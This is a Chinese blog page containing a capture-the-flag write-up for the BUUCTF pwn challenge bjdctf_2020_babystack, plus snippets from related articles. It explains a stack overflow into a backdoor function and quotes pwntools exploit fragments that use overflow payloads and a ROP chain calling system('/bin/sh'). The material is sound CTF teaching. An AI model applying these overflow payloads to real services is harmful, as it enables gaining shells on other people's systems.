BUUCTF PWN bjdctf_2020_babystack

利用checksec+溢出技巧：后门植入与exploit实践
最新推荐文章于 2025-09-24 18:13:16 发布
原创 最新推荐文章于 2025-09-24 18:13:16 发布 · 431 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全 #pwn #python #c语言 #linux

本文探讨了如何利用checksec工具检测系统安全特性，并通过IDA进行64位程序逆向，发现read函数溢出漏洞。随后，通过构造payload实现整型溢出，定位并利用backdoor地址创建后门。脚本演示了从远程主机执行这些操作的过程，包括发送特殊长度值进行溢出攻击并交互式控制。

1.checksec+运行

64位/NX保护

2.64位IDA进行中

1.main函数

read()函数溢出

跟进buf,看看偏移

 

offset=0x10+8

但要注意一点:

read(0, buf, (unsigned int)nbytes); 

无符号整型,需要输入-1,进行整型溢出

接下来就是常规的操作

backdoor函数地址

 

3.直接上脚本

from pwn import*
#p=process('./12baby
最低0.47元/天 解锁文章
BUUCTF pwn——bjdctf_2020_babystack
CNS-Enterprise BCC-1701-J
03-31 434
BUUCTF 做题练习
[buuctf]bjdctf_2020_babystack
逆向萌新的博客
06-19 1124
[buuctf]bjdctf_2020_babystack
bjdctf_2020_babystack
最新发布
2301_80245691的博客
09-24 139
摘要：本文分析了64位程序bjdctf_2020_babystack的漏洞利用过程。程序使用scanf读取输入长度但未检查边界，导致栈溢出。通过IDA发现存在backdoor函数，构造payload（24字节填充+backdoor地址）实现溢出攻击。调试时发现需要输入IP才能继续执行，最终利用脚本成功获取flag。漏洞成因在于未验证输入长度的危险函数组合使用。
[BUUCTF-pwn]——bjdctf_2020_babystack
Y_peak的博客
02-10 450
[BUUCTF-pwn]——bjdctf_2020_babystack 题目地址:https://buuoj.cn/challenges#bjdctf_2020_babystack Linux中checksec一下 , 64位的我们要小心参数小于6位的函数. IDA中看看 看到这里不用我多说了吧, So easy !!! exploit from pwn import * p = remote("node3.buuoj.cn",25355) sys = 0x04006EA p.sendlinea
[BUUCTF]PWN——bjdctf_2020_babystack
BangSen1的博客
03-29 390
例行检查，64位，开启NX保护 运行一下， 用IDA打开，检索字符串，看到了后门 跟进查看。 找到了地址，shelladdr=0x4006EA 查看主函数 接收函数长度由我们自己决定，由此可以造成溢出。 from pwn import* r=remote('node3.buuoj.cn',25232) shelladdr=0x4006EA r.sendline('100') payload='a'*(0x10+8)+p64(shelladdr) r.sendline(payload) r.
BUUCTF(pwn)bjdctf_2020_babystack
半岛铁盒的博客
03-29 503
from pwn import * p = remote("node3.buuoj.cn",27955) sys = 0x04006E6 p.sendlineafter("[+]Please input the length of your name:\n",'200') payload = 'a' * (0x10 + 0x8) + p64(sys) p.sendlineafter("[+]What's u name?\n",payload) p.interactive() 有疑问的欢迎留言∑ ...
[BUUCTF]PWN18——bjdctf_2020_babystack
mcmuyanga的博客
09-02 4423
[BUUCTF]PWN18——bjdctf_2020_babystack 附件 步骤： 例行检查，64位，开启了nx保护 试运行一下程序 大概了解程序的执行过程后用64位ida打开，shift+f12先查看一下程序里的字符串 看到/bin/sh双击跟进，ctrl+x找到了后门函数，shell_addr=0x4006e6 根据试运行的回显，找到了输入点 一个简单的小程序，buf读入的数据长度由我们输入的nbytes来控制，所以这里可以利用它来溢出 EXP from pwn import* r=re
buuctf-bjdctf_2020_babystack（pwn）
2301_81574836的博客
02-18 970
buuctf-bjdctf_2020_babystack（pwn）题解
bjdctf_2020_babystack【BUUCTF】
qq_41696518的博客
08-26 1126
bjdctf_2020_babystack
BUUCTF bjdctf_2020_babystack
小白垃圾笔记2
04-30 501
有的，所以我们的利用思路就是将返回地址先覆盖为pop rdi；ret 的地址，将参数(/bin/sh)传入rdi。然后再将system的地址填充进去，这样pop rdi；执行ret的时候就会去执行system。那么pop rdi;ret 后边的内容就应该是/bin/sh的地址了。有system函数调用，并且存在/bin/sh。去找有没有pop rdi ret。小白做题笔记而已，不建议阅读。64为程序用rdi传参。read函数存在栈溢出。
CTF buuoj pwn-----第10题: bjdctf_2020_babystack
热门推荐
bing_Max的博客
09-28 2万+
思路 本体有后门函数, 最简单的是直接调用. 这里想用一下system函数,一开始忘了是32位的,写了个payload_1 = b’a’*(0x10+8) + p64(system_addr)+p64(1)+p64(binsh_addr) 显然不成功 后来反映过来, 写了payload_1 = b’a’*(0x10+8) + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr),成功获取flag 编写exp from pwn import * con
BUUCTF|PWN-bjdctf_2020_babystack2-WP
l2645470582_的博客
11-09 513
1.例行检查保护机制 2.我们用64位的IDA打开该文件 shift+f12查看关键字符串，我们看到关键字符串"/bin/sh" 然后我们找到后门函数的地址：backdoor_addr = 0x0400726 3.我们看看main函数里面的内容 我们看到第一个nbytes是有符号数，第二个nbytes就变成了无符号数 我们判断这是一个整数溢出 所以 -1 = 4294967295 4.EXP #encoding = utf-8 fr...
【CTF】bjdctf_2020_babystack 1
凉水的博客
01-21 1634
解题思路: 1 先反编译： undefined8 main(void) { undefined local_18 [12]; uint local_c; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,1,0); local_c = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *
buuctf pwn bjdctf_2020_babystack1
m0_74125780的博客
09-28 339
然后又发现有个backdoor函数，里面有system，查看它的地址为0x4006EA。首先用checksec检查。是64位，没有栈保护，及其可能会有栈溢出。打开ida64，read函数栈溢出，buf有24字节大小。然后写代码，那个代码里的30可以变只要大于24就可以覆盖。
【CTF】BUUCTF-bjdctf_2020_babystack1
weixin_53394081的博客
03-06 670
PWN
[BUUCTF]PWN——bjdctf_2020_babystack2
BangSen1的博客
04-06 1304
bjdctf_2020_babystack2 64位，开启NX保护。 运行一下。 用IDA打开。找到了后门函数。backdoor=0x400726 查看main函数 读入数据的大小由我们输入的参数nbytes控制 nbytes参数的类型 是 size_t，它是一个无符号整型。 但是第7行又将它转换成了有符号的整型，存在整数溢出漏洞（即无符号的数转换成有符号的整型后超过了有符号的整型能表示的范围，从而造成溢出，常用-1来造成溢出） from pwn import * r=remote('nod
buuctf pwn others_shellcode
02-25
### BUUCTF Pwn Others_shellcode 解题思路 #### 题目概述 此题目属于PWN类别中的shellcode编写挑战。目标是在给定环境中执行任意代码，通常通过构造特定的机器码来实现这一目的[^1]。 #### 环境准备 为了成功完成...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值